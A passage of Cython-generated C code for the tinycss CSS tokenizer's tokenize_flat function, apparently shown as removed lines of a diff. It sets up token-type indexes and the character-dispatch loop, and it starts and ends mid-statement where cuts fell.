__LINE__; goto __pyx_L3_error;} - __pyx_L3_error:; - __Pyx_AddTraceback("tinycss.speedups.tokenize_flat", __pyx_clineno, __pyx_lineno, __pyx_filename); - __Pyx_RefNannyFinishContext(); - return NULL; - __pyx_L4_argument_unpacking_done:; - - /* "tinycss/speedups.pyx":67 - * """ - * # Make these local variable to avoid global lookups in the loop - * tokens_dispatch = TOKEN_DISPATCH # <<<<<<<<<<<<<< - * compiled_token_indexes = COMPILED_TOKEN_INDEXES - * compiled_tokens = COMPILED_TOKEN_REGEXPS - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__TOKEN_DISPATCH); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 67; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_tokens_dispatch = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":68 - * # Make these local variable to avoid global lookups in the loop - * tokens_dispatch = TOKEN_DISPATCH - * compiled_token_indexes = COMPILED_TOKEN_INDEXES # <<<<<<<<<<<<<< - * compiled_tokens = COMPILED_TOKEN_REGEXPS - * unicode_unescape = UNICODE_UNESCAPE - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s_4); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 68; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_compiled_token_indexes = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":69 - * tokens_dispatch = TOKEN_DISPATCH - * compiled_token_indexes = COMPILED_TOKEN_INDEXES - * compiled_tokens = COMPILED_TOKEN_REGEXPS # <<<<<<<<<<<<<< - * unicode_unescape = UNICODE_UNESCAPE - * newline_unescape = NEWLINE_UNESCAPE - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s_1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 69; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_compiled_tokens = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":70 - * compiled_token_indexes = COMPILED_TOKEN_INDEXES - * compiled_tokens = COMPILED_TOKEN_REGEXPS - * unicode_unescape = UNICODE_UNESCAPE # <<<<<<<<<<<<<< - * newline_unescape = NEWLINE_UNESCAPE - * simple_unescape = SIMPLE_UNESCAPE - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__UNICODE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 70; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_unicode_unescape = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":71 - * compiled_tokens = COMPILED_TOKEN_REGEXPS - * unicode_unescape = UNICODE_UNESCAPE - * newline_unescape = NEWLINE_UNESCAPE # <<<<<<<<<<<<<< - * simple_unescape = SIMPLE_UNESCAPE - * find_newlines = FIND_NEWLINES - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__NEWLINE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 71; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_newline_unescape = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":72 - * unicode_unescape = UNICODE_UNESCAPE - * newline_unescape = NEWLINE_UNESCAPE - * simple_unescape = SIMPLE_UNESCAPE # <<<<<<<<<<<<<< - * find_newlines = FIND_NEWLINES - * - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__SIMPLE_UNESCAPE); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 72; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_simple_unescape = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":73 - * newline_unescape = NEWLINE_UNESCAPE - * simple_unescape = SIMPLE_UNESCAPE - * find_newlines = FIND_NEWLINES # <<<<<<<<<<<<<< - * - * # Use the integer indexes instead of string markers - */ - __pyx_t_1 = __Pyx_GetName(__pyx_m, __pyx_n_s__FIND_NEWLINES); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 73; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_v_find_newlines = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":76 - * - * # Use the integer indexes instead of string markers - * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__BAD_COMMENT)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 76; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 76; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_BAD_COMMENT = __pyx_t_2; - - /* "tinycss/speedups.pyx":77 - * # Use the integer indexes instead of string markers - * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__BAD_STRING)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 77; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 77; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_BAD_STRING = __pyx_t_2; - - /* "tinycss/speedups.pyx":78 - * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__PERCENTAGE)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 78; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 78; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_PERCENTAGE = __pyx_t_2; - - /* "tinycss/speedups.pyx":79 - * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__DIMENSION)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 79; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 79; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_DIMENSION = __pyx_t_2; - - /* "tinycss/speedups.pyx":80 - * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__ATKEYWORD)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 80; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 80; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_ATKEYWORD = __pyx_t_2; - - /* "tinycss/speedups.pyx":81 - * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__FUNCTION)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 81; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 81; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_FUNCTION = __pyx_t_2; - - /* "tinycss/speedups.pyx":82 - * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__COMMENT)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 82; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 82; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_COMMENT = __pyx_t_2; - - /* "tinycss/speedups.pyx":83 - * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__NUMBER)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 83; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 83; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_NUMBER = __pyx_t_2; - - /* "tinycss/speedups.pyx":84 - * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__STRING)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 84; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_STRING = __pyx_t_2; - - /* "tinycss/speedups.pyx":85 - * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__IDENT)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 85; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 85; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_IDENT = __pyx_t_2; - - /* "tinycss/speedups.pyx":86 - * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] - * cdef Py_ssize_t DELIM = -1 - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__HASH)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 86; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 86; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_HASH = __pyx_t_2; - - /* "tinycss/speedups.pyx":87 - * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] # <<<<<<<<<<<<<< - * cdef Py_ssize_t DELIM = -1 - * - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, ((PyObject *)__pyx_n_u__URI)); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_v_URI = __pyx_t_2; - - /* "tinycss/speedups.pyx":88 - * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] - * cdef Py_ssize_t URI = compiled_token_indexes['URI'] - * cdef Py_ssize_t DELIM = -1 # <<<<<<<<<<<<<< - * - * cdef Py_ssize_t pos = 0 - */ - __pyx_v_DELIM = -1; - - /* "tinycss/speedups.pyx":90 - * cdef Py_ssize_t DELIM = -1 - * - * cdef Py_ssize_t pos = 0 # <<<<<<<<<<<<<< - * cdef Py_ssize_t line = 1 - * cdef Py_ssize_t column = 1 - */ - __pyx_v_pos = 0; - - /* "tinycss/speedups.pyx":91 - * - * cdef Py_ssize_t pos = 0 - * cdef Py_ssize_t line = 1 # <<<<<<<<<<<<<< - * cdef Py_ssize_t column = 1 - * cdef Py_ssize_t source_len = len(css_source) - */ - __pyx_v_line = 1; - - /* "tinycss/speedups.pyx":92 - * cdef Py_ssize_t pos = 0 - * cdef Py_ssize_t line = 1 - * cdef Py_ssize_t column = 1 # <<<<<<<<<<<<<< - * cdef Py_ssize_t source_len = len(css_source) - * cdef Py_ssize_t n_tokens = len(compiled_tokens) - */ - __pyx_v_column = 1; - - /* "tinycss/speedups.pyx":93 - * cdef Py_ssize_t line = 1 - * cdef Py_ssize_t column = 1 - * cdef Py_ssize_t source_len = len(css_source) # <<<<<<<<<<<<<< - * cdef Py_ssize_t n_tokens = len(compiled_tokens) - * cdef Py_ssize_t length, next_pos, type_ - */ - __pyx_t_2 = PyObject_Length(__pyx_v_css_source); if (unlikely(__pyx_t_2 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 93; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_v_source_len = __pyx_t_2; - - /* "tinycss/speedups.pyx":94 - * cdef Py_ssize_t column = 1 - * cdef Py_ssize_t source_len = len(css_source) - * cdef Py_ssize_t n_tokens = len(compiled_tokens) # <<<<<<<<<<<<<< - * cdef Py_ssize_t length, next_pos, type_ - * cdef CToken token - */ - __pyx_t_2 = PyObject_Length(__pyx_v_compiled_tokens); if (unlikely(__pyx_t_2 == -1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 94; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __pyx_v_n_tokens = __pyx_t_2; - - /* "tinycss/speedups.pyx":98 - * cdef CToken token - * - * tokens = [] # <<<<<<<<<<<<<< - * while pos < source_len: - * char = css_source[pos] - */ - __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 98; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __pyx_v_tokens = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":99 - * - * tokens = [] - * while pos < source_len: # <<<<<<<<<<<<<< - * char = css_source[pos] - * if char in ':;{}()[]': - */ - while (1) { - __pyx_t_3 = (__pyx_v_pos < __pyx_v_source_len); - if (!__pyx_t_3) break; - - /* "tinycss/speedups.pyx":100 - * tokens = [] - * while pos < source_len: - * char = css_source[pos] # <<<<<<<<<<<<<< - * if char in ':;{}()[]': - * type_ = -1 # not parsed further anyway - */ - __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_css_source, __pyx_v_pos, sizeof(Py_ssize_t), PyInt_FromSsize_t); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_v_char); - __pyx_v_char = __pyx_t_1; - __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":101 - * while pos < source_len: - * char = css_source[pos] - * if char in ':;{}()[]': # <<<<<<<<<<<<<< - * type_ = -1 # not parsed further anyway - * type_name = char - */ - __pyx_t_3 = ((PySequence_Contains(((PyObject *)__pyx_kp_u_5), __pyx_v_char))); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 101; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (__pyx_t_3) { - - /* "tinycss/speedups.pyx":102 - * char = css_source[pos] - * if char in ':;{}()[]': - * type_ = -1 # not parsed further anyway # <<<<<<<<<<<<<< - * type_name = char - * css_value = char - */ - __pyx_v_type_ = -1; - - /* "tinycss/speedups.pyx":103 - * if char in ':;{}()[]': - * type_ = -1 # not parsed further anyway - * type_name = char # <<<<<<<<<<<<<< - * css_value = char - * else: - */ - __Pyx_INCREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_type_name); - __pyx_v_type_name = __pyx_v_char; - - /* "tinycss/speedups.pyx":104 - * type_ = -1 # not parsed further anyway - * type_name = char - * css_value = char # <<<<<<<<<<<<<< - * else: - * codepoint = min(ord(char), 160) - */ - __Pyx_INCREF(__pyx_v_char); - __Pyx_XDECREF(__pyx_v_css_value); - __pyx_v_css_value = __pyx_v_char; - goto __pyx_L8; - } - /*else*/ { - - /* "tinycss/speedups.pyx":106 - * css_value = char - * else: - * codepoint = min(ord(char), 160) # <<<<<<<<<<<<<< - * for type_, type_name, regexp in tokens_dispatch[codepoint]: - * match = regexp(css_source, pos) - */ - __pyx_t_4 = 160; - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_1)); - __Pyx_INCREF(__pyx_v_char); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_char); - __Pyx_GIVEREF(__pyx_v_char); - __pyx_t_5 = PyObject_Call(__pyx_builtin_ord, ((PyObject *)__pyx_t_1), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __Pyx_DECREF(((PyObject *)__pyx_t_1)); __pyx_t_1 = 0; - __pyx_t_6 = PyInt_FromLong(__pyx_t_4); if (unlikely(!__pyx_t_6)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_6); - __pyx_t_7 = PyObject_RichCompare(__pyx_t_6, __pyx_t_5, Py_LT); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_7); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_3 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (__pyx_t_3) { - __pyx_t_7 = PyInt_FromLong(__pyx_t_4); if (unlikely(!__pyx_t_7)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 106; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_7); - __pyx_t_1 = __pyx_t_7; - __pyx_t_7 = 0; - } else { - __Pyx_INCREF(__pyx_t_5); - __pyx_t_1 = __pyx_t_5; - } - __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_INCREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_v_codepoint); - __pyx_v_codepoint = __pyx_t_1; - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - - /* "tinycss/speedups.pyx":107 - * else: - * codepoint = min(ord(char), 160) - * for type_, type_name, regexp in tokens_dispatch[codepoint]: # <<<<<<<<<<<<<< - * match = regexp(css_source, pos) - * if match: - */ - __pyx_t_1 = PyObject_GetItem(__pyx_v_tokens_dispatch, __pyx_v_codepoint); if (!__pyx_t_1) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - if (PyList_CheckExact(__pyx_t_1) || PyTuple_CheckExact(__pyx_t_1)) { - __pyx_t_5 = __pyx_t_1; __Pyx_INCREF(__pyx_t_5); __pyx_t_2 = 0; - __pyx_t_8 = NULL; - } else { - __pyx_t_2 = -1; __pyx_t_5 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_5); - __pyx_t_8 = Py_TYPE(__pyx_t_5)->tp_iternext; - } - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - for (;;) { - if (PyList_CheckExact(__pyx_t_5)) { - if (__pyx_t_2 >= PyList_GET_SIZE(__pyx_t_5)) break; - __pyx_t_1 = PyList_GET_ITEM(__pyx_t_5, __pyx_t_2); __Pyx_INCREF(__pyx_t_1); __pyx_t_2++; - } else if (PyTuple_CheckExact(__pyx_t_5)) { - if (__pyx_t_2 >= PyTuple_GET_SIZE(__pyx_t_5)) break; - __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_5, __pyx_t_2); __Pyx_INCREF(__pyx_t_1); __pyx_t_2++; - } else { - __pyx_t_1 = __pyx_t_8(__pyx_t_5); - if (unlikely(!__pyx_t_1)) { - if (PyErr_Occurred()) { - if (likely(PyErr_ExceptionMatches(PyExc_StopIteration))) PyErr_Clear(); - else {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - break; - } - __Pyx_GOTREF(__pyx_t_1); - } - if ((likely(PyTuple_CheckExact(__pyx_t_1))) || (PyList_CheckExact(__pyx_t_1))) { - PyObject* sequence = __pyx_t_1; - if (likely(PyTuple_CheckExact(sequence))) { - if (unlikely(PyTuple_GET_SIZE(sequence) != 3)) { - if (PyTuple_GET_SIZE(sequence) > 3) __Pyx_RaiseTooManyValuesError(3); - else __Pyx_RaiseNeedMoreValuesError(PyTuple_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_7 = PyTuple_GET_ITEM(sequence, 0); - __pyx_t_6 = PyTuple_GET_ITEM(sequence, 1); - __pyx_t_9 = PyTuple_GET_ITEM(sequence, 2); - } else { - if (unlikely(PyList_GET_SIZE(sequence) != 3)) { - if (PyList_GET_SIZE(sequence) > 3) __Pyx_RaiseTooManyValuesError(3); - else __Pyx_RaiseNeedMoreValuesError(PyList_GET_SIZE(sequence)); - {__pyx_filename = __pyx_f[0]; __pyx_lineno = 107; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - } - __pyx_t_7 = PyList_GET_ITEM(sequence, 0); - __pyx_t_6 = PyList_GET_ITEM(sequence, 1); - __pyx_t_9 = PyList_GET_ITEM(sequence, 2); - } - __Pyx_INCREF(__pyx_t_7); - __Pyx_INCREF(__pyx_t_6); - __Pyx_INCREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - } else { - Py_ssize_t index = -1; - __pyx_t_10 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_10)) {__pyx_filename = __pyx_f[0]; 